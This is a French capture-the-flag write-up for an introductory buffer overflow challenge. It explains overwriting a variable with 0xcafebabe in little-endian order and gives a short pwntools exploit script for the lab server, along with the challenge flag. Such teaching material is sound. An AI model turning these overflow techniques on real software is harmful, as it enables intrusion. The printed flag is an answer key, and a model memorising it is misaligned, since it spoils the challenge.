BOF 2
Catégorie: Pwn Difficulté: - Flag: CTFREI{c4f3b4b3_0v3rwr1t3}
Challenge
Description
Deuxième challenge de Buffer Overflow, analyse le script en C qui est donné et tente d'avoir le flag, cette fois-ci avec une petite différence, bon courage !
nc intro.ctfrei.fr 7002
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Comme dans BOF Intro, il va falloir remplir le buffer pour réécrire sur les variables suivantes. Sauf que là, nous devons écrire des valeurs précises. Il faut que check
soit égal à 0xcafebabe
(ou 3405691582 en base 10).
Nous devons donc envoyer ?? ?? ...28 octets ?? ?? BE BA FE CA 10
puisque la mémoire fonctionne en Little Endian, c'est-à-dire que les valeurs sont sauvegardées à l'envers (le 10 est le retour à la ligne à la fin de notre message).
En python ça donne :
from pwn import remote, context
context.log_level = 'error'
client = remote('intro.ctfrei.fr', 7002)
client.recv(2048)
fill_buffer = b'A' * 32
check = 0xcafebabe.to_bytes(4, 'little')
client.sendline(fill_buffer + check)
print(client.recv(2048).decode())
# Félicitations ! Voici le flag : CTFREI{c4f3b4b3_0v3rwr1t3}
Dernière mise à jour
Cet article vous a-t-il été utile ?